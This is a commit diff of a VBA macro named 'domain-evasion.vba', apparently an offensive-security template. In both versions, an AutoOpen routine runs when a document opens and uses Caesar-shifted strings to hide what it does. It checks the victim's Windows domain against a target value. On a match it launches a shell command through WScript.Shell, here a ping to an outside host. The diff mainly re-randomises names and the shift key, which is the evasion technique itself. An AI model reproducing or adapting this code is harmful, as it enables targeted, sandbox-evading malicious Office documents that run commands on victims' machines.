Update domain-evasion.vba

patch-1
Mr-Un1k0d3r 2016-09-22 12:28:49 -04:00 committed by GitHub
parent 01b2612489
commit e5fd63d3de
1 changed files with 112 additions and 98 deletions

View File

@ -1,127 +1,141 @@
Sub AutoOpen() Sub AutoOpen()
Dim ILxuEWgATrWue As String Dim sWPZY As String
Dim RcxLyjawenf As String Dim WOccADRx As String
Dim dYegDuBIuSZycUNQ As String Dim bABhOuXJydA As String
Dim FvkhGmuOxHSMnrk As String Dim ardWiFyrGjAfdUardr As String
Dim fECQRPGJ As String Dim LKEyllGPITSmwGKW As String
Dim MZsCNHecSLVGPmcJ As Integer Dim qkePprvZWufh As Integer
Dim txzBFNwzcXHKYXWDzE As Integer Dim dALlVQuU As Integer
Dim TGjfiHxuLAmixg As Integer Dim KVfVBTCCnNHstoZ As Integer
MZsCNHecSLVGPmcJ = 7034 qkePprvZWufh = 08
txzBFNwzcXHKYXWDzE = 3788 dALlVQuU = 8774
TGjfiHxuLAmixg = 8923 KVfVBTCCnNHstoZ = 9228
RcxLyjawenf = "nvaHNGt" WOccADRx = "YsZqkFH"
ILxuEWgATrWue = "kWhHSlBklIwHoqQy" sWPZY = "qhTbdUdNaRTMSe"
fECQRPGJ = "Zvfulsw1Vkhoo" LKEyllGPITSmwGKW = "Zvfulsw1Vkhoo"
ILxuEWgATrWue = OfecBITTyzVzHWGMdK(ILxuEWgATrWue, RcxLyjawenf, MZsCNHecSLVGPmcJ) sWPZY = SSuSi(sWPZY, WOccADRx, qkePprvZWufh)
RcxLyjawenf = "ilZSDkARtSv" WOccADRx = "ZUvPOvbpPcxpuAu"
dYegDuBIuSZycUNQ = OfecBITTyzVzHWGMdK(RcxLyjawenf, ILxuEWgATrWue, txzBFNwzcXHKYXWDzE) bABhOuXJydA = SSuSi(WOccADRx, sWPZY, dALlVQuU)
If (dYegDuBIuSZycUNQ = "NVJIYIaCe") Then If (bABhOuXJydA = "NhSCrpId") Then
Dim UywJKwxJMCgnYCfB As Object Dim vOMLPMyyZYkvaZHzZ As Object
FvkhGmuOxHSMnrk = "oGIDiKvmN" ardWiFyrGjAfdUardr = "bZqInZfWXQzQBsTQi"
FvkhGmuOxHSMnrk = OfecBITTyzVzHWGMdK(FvkhGmuOxHSMnrk, fECQRPGJ, TGjfiHxuLAmixg) ardWiFyrGjAfdUardr = SSuSi(ardWiFyrGjAfdUardr, LKEyllGPITSmwGKW, KVfVBTCCnNHstoZ)
Set UywJKwxJMCgnYCfB = CreateObject(FvkhGmuOxHSMnrk) Set vOMLPMyyZYkvaZHzZ = CreateObject(ardWiFyrGjAfdUardr)
FvkhGmuOxHSMnrk = DHuVsppvFvGOMqJTz(FvkhGmuOxHSMnrk) ardWiFyrGjAfdUardr = UYsKPYLh(ardWiFyrGjAfdUardr)
Dim oGLZSwJg As String Dim TwLlqyvqjVzLaNYolg As String
oGLZSwJg = FvkhGmuOxHSMnrk TwLlqyvqjVzLaNYolg = ardWiFyrGjAfdUardr
FvkhGmuOxHSMnrk = "HcRbGiFBoEuWzX" ardWiFyrGjAfdUardr = "WaejIu"
oGLZSwJg = OfecBITTyzVzHWGMdK(FvkhGmuOxHSMnrk, oGLZSwJg, TGjfiHxuLAmixg) TwLlqyvqjVzLaNYolg = SSuSi(ardWiFyrGjAfdUardr, TwLlqyvqjVzLaNYolg, KVfVBTCCnNHstoZ)
oGLZSwJg = lBPvFxrxNtcOgmIY(UywJKwxJMCgnYCfB, oGLZSwJg, MZsCNHecSLVGPmcJ) TwLlqyvqjVzLaNYolg = zfoirBRnoJYhagrWDnw(vOMLPMyyZYkvaZHzZ, TwLlqyvqjVzLaNYolg, qkePprvZWufh)
Set UywJKwxJMCgnYCfB = Nothing Set vOMLPMyyZYkvaZHzZ = Nothing
End If End If
End Sub End Sub
Function OfecBITTyzVzHWGMdK(qjcjSxif As String, NLZHfVtcAVvML As String, ZojoSyThpfCFFCmsbVN As Integer) As String Function SSuSi(yeYpCfLZeGJjiAGpK As String, mZgQbZLimgLaJQnjFF As String, bKwQaV As Integer) As String
If (ZojoSyThpfCFFCmsbVN > 1) Then If (bKwQaV > 1) Then
OfecBITTyzVzHWGMdK = Application.Run(qjcjSxif, NLZHfVtcAVvML) SSuSi = Application.Run(yeYpCfLZeGJjiAGpK, mZgQbZLimgLaJQnjFF)
End If End If
End Function End Function
Function ilZSDkARtSv(iPukSRqVseuEW As String) As String Function ZUvPOvbpPcxpuAu(cJegRCSEWgBjlJJx As String) As String
Dim eXmbDhbMSjQxuXeC As String Dim pQzVC As String
Dim rjSTcHhZ As String Dim ZrkBNSJlXO As String
Dim OJIxkAiQANC As String Dim SyaapMcoatOecKMlfh As String
Dim thPlUuEqhDACjnSTf As Integer Dim RBQkuIiLBDUB As Integer
thPlUuEqhDACjnSTf = 941 RBQkuIiLBDUB = 46
rjSTcHhZ = "oGIDiKvmN" ZrkBNSJlXO = "ZlpuLmAgpOAzojZ"
OJIxkAiQANC = "Ulqj]hu3" SyaapMcoatOecKMlfh = "VMRK^IV4"
rjSTcHhZ = OfecBITTyzVzHWGMdK(rjSTcHhZ, OJIxkAiQANC, thPlUuEqhDACjnSTf) ZrkBNSJlXO = SSuSi(ZrkBNSJlXO, SyaapMcoatOecKMlfh, RBQkuIiLBDUB)
eXmbDhbMSjQxuXeC = rjSTcHhZ pQzVC = ZrkBNSJlXO
If (UCase(iPukSRqVseuEW) = eXmbDhbMSjQxuXeC) Then If (UCase(cJegRCSEWgBjlJJx) = pQzVC) Then
ilZSDkARtSv = "NVJIYIaCe" ZUvPOvbpPcxpuAu = "NhSCrpId"
Else Else
ilZSDkARtSv = "JMiXIOKCzaGPoktvacb" ZUvPOvbpPcxpuAu = "vuaxdRoVAOuRfQZjfY"
End If End If
End Function End Function
Function kWhHSlBklIwHoqQy(dezOzWudEKglLK As String) As String Function qhTbdUdNaRTMSe(hJmyjEQHyNpnyxiPsy As String) As String
Dim JuIkCFQDpAMdP As String Dim THanLAjHtTaYB As String
Dim qWIplatRJlXurfiVS As String Dim uVvVkjmIAAJxwLAzJ As String
Dim NrrpmQkdsDLJPCouq As Integer Dim pnyVJTLwVUgCBt As Integer
NrrpmQkdsDLJPCouq = 8550 pnyVJTLwVUgCBt = 571
qWIplatRJlXurfiVS = "oGIDiKvmN" uVvVkjmIAAJxwLAzJ = "bZqInZfWXQzQBsTQi"
qWIplatRJlXurfiVS = OfecBITTyzVzHWGMdK(qWIplatRJlXurfiVS, "XVHUGRPDLQ", NrrpmQkdsDLJPCouq) uVvVkjmIAAJxwLAzJ = SSuSi(uVvVkjmIAAJxwLAzJ, "XVHUGRPDLQ", pnyVJTLwVUgCBt)
JuIkCFQDpAMdP = Environ(qWIplatRJlXurfiVS) THanLAjHtTaYB = Environ(uVvVkjmIAAJxwLAzJ)
qWIplatRJlXurfiVS = DHuVsppvFvGOMqJTz(qWIplatRJlXurfiVS) uVvVkjmIAAJxwLAzJ = UYsKPYLh(uVvVkjmIAAJxwLAzJ)
kWhHSlBklIwHoqQy = JuIkCFQDpAMdP qhTbdUdNaRTMSe = THanLAjHtTaYB
End Function End Function
Function oGIDiKvmN(HCCqYQ As String) As String Function bZqInZfWXQzQBsTQi(ZgLaLNtXGZr As String) As String
Dim QYzmflcmeyTj As Long Dim wDuWUIvZdpOFpBmTsL As Long
Dim aqKeqotvRqfGLGjK As String Dim lMBixlCj As String
For QYzmflcmeyTj = 1 To Len(HCCqYQ) Dim JRGUODxKgaqCxBqMp As Integer
aqKeqotvRqfGLGjK = aqKeqotvRqfGLGjK & Chr(Asc(Mid(HCCqYQ, QYzmflcmeyTj, 1)) - 3) JRGUODxKgaqCxBqMp = 3
Next QYzmflcmeyTj For wDuWUIvZdpOFpBmTsL = 1 To Len(ZgLaLNtXGZr)
ezkjeJVmjjlosd = DHuVsppvFvGOMqJTz(aqKeqotvRqfGLGjK) lMBixlCj = lMBixlCj & Chr(Asc(Mid(ZgLaLNtXGZr, wDuWUIvZdpOFpBmTsL, 1)) - JRGUODxKgaqCxBqMp)
oGIDiKvmN = aqKeqotvRqfGLGjK Next wDuWUIvZdpOFpBmTsL
zKOwZY = UYsKPYLh(lMBixlCj)
bZqInZfWXQzQBsTQi = lMBixlCj
End Function End Function
Function HcRbGiFBoEuWzX(zIIhUUtNhUuuP As String) As String Function WaejIu(KrhzV As String) As String
Dim gPTqjF As String Dim FICAgsIxQnFtC As String
Dim jvIeCWLyFsQzYECgVHV As String Dim kBnbIdOdsfC As String
Dim XmfXJ As String Dim MxOlSj As String
XmfXJ = "fpg1h{h#2f#slqj#ulqj}hu3whdp1frp" MxOlSj = "gqh2i|i$3g$tmrk$vmrk~iv4xieq2gsq"
gPTqjF = XmfXJ FICAgsIxQnFtC = MxOlSj
gPTqjF = oGIDiKvmN(gPTqjF) FICAgsIxQnFtC = ZlpuLmAgpOAzojZ(FICAgsIxQnFtC)
HcRbGiFBoEuWzX = gPTqjF WaejIu = FICAgsIxQnFtC
End Function End Function
Function DHuVsppvFvGOMqJTz(EXDVEUvIYcfYPDL As String) As String Function ZlpuLmAgpOAzojZ(ZwbChxsOiEPAvklfkqA As String) As String
Dim qfHEPj As Integer Dim zABfIiRGJPhhUJvCezL As Long
Dim QXkMmVTighWnVXoz As String Dim DandPxORPcmx As String
If (UCase(EXDVEUvIYcfYPDL) = "dvXEbYei") Then Dim PdtALUSGGKWDF As Integer
qfHEPj = 4 PdtALUSGGKWDF = 4
For zABfIiRGJPhhUJvCezL = 1 To Len(ZwbChxsOiEPAvklfkqA)
DandPxORPcmx = DandPxORPcmx & Chr(Asc(Mid(ZwbChxsOiEPAvklfkqA, zABfIiRGJPhhUJvCezL, 1)) - PdtALUSGGKWDF)
Next zABfIiRGJPhhUJvCezL
zKOwZY = UYsKPYLh(DandPxORPcmx)
ZlpuLmAgpOAzojZ = DandPxORPcmx
End Function
Function UYsKPYLh(pkoQrH As String) As String
Dim UnuWgcgPXohHEbXQdPN As Integer
Dim RFrGdQpe As String
If (UCase(pkoQrH) = "DlWSgYYpBiOPohje") Then
UnuWgcgPXohHEbXQdPN = 3
Else Else
qfHEPj = 5 UnuWgcgPXohHEbXQdPN = 0
End If End If
tgokZtHSz = CSTpYg(EXDVEUvIYcfYPDL, qfHEPj) VBYyWiljGi = ZllMpgR(pkoQrH, UnuWgcgPXohHEbXQdPN)
If (tgokZtHSz = "unBYCziWBBhglAcu") Then If (VBYyWiljGi = "XmWmz") Then
DHuVsppvFvGOMqJTz = tgokZtHSz UYsKPYLh = VBYyWiljGi
Else Else
DHuVsppvFvGOMqJTz = "htRbvkiSBdIb" UYsKPYLh = "sVOsmsQCjMyn"
End If End If
End Function End Function
Function lBPvFxrxNtcOgmIY(XNLNBmjd As Object, RlwlXNTpQivUE As String, IUGJkWxZU As Integer) As String Function zfoirBRnoJYhagrWDnw(UnPrP As Object, ivmktxrCBwHQYiy As String, rDRZollclM As Integer) As String
Dim TKRmoGcEiq As String Dim QaRFIYqpNhP As String
Dim WCYjCXHRJ As Integer Dim GoxFYZHAlVmE As Integer
WCYjCXHRJ = 1 GoxFYZHAlVmE = 1
TKRmoGcEiq = RlwlXNTpQivUE QaRFIYqpNhP = ivmktxrCBwHQYiy
If (IUGJkWxZU > WCYjCXHRJ) Then If (rDRZollclM > GoxFYZHAlVmE) Then
WCYjCXHRJ = WCYjCXHRJ - 1 GoxFYZHAlVmE = GoxFYZHAlVmE - 1
XNLNBmjd.Run TKRmoGcEiq, WCYjCXHRJ, True UnPrP.Run QaRFIYqpNhP, GoxFYZHAlVmE, True
End If End If
TKRmoGcEiq = "SxrnKdSxVVMzBIfM" QaRFIYqpNhP = "cJISnaKwbtVzjdRl"
lBPvFxrxNtcOgmIY = TKRmoGcEiq zfoirBRnoJYhagrWDnw = QaRFIYqpNhP
End Function End Function
Function CSTpYg(xeABDbBpLtmcHINiF As String, PmUawNGr As Integer) As String Function ZllMpgR(MWhxSodjH As String, OLBNtgtWYcN As Integer) As String
Dim dvXEbYei As Long Dim DlWSgYYpBiOPohje As Long
Dim COzjdbB As String Dim VaPyTazXZIHVnicP As String
For dvXEbYei = 1 To Len(xeABDbBpLtmcHINiF) For DlWSgYYpBiOPohje = 1 To Len(MWhxSodjH)
COzjdbB = COzjdbB & Chr(Asc(Mid(xeABDbBpLtmcHINiF, dvXEbYei, 1)) - PmUawNGr) VaPyTazXZIHVnicP = VaPyTazXZIHVnicP & Chr(Asc(Mid(MWhxSodjH, DlWSgYYpBiOPohje, 1)) - OLBNtgtWYcN)
Next dvXEbYei Next DlWSgYYpBiOPohje
CSTpYg = COzjdbB ZllMpgR = VaPyTazXZIHVnicP
End Function End Function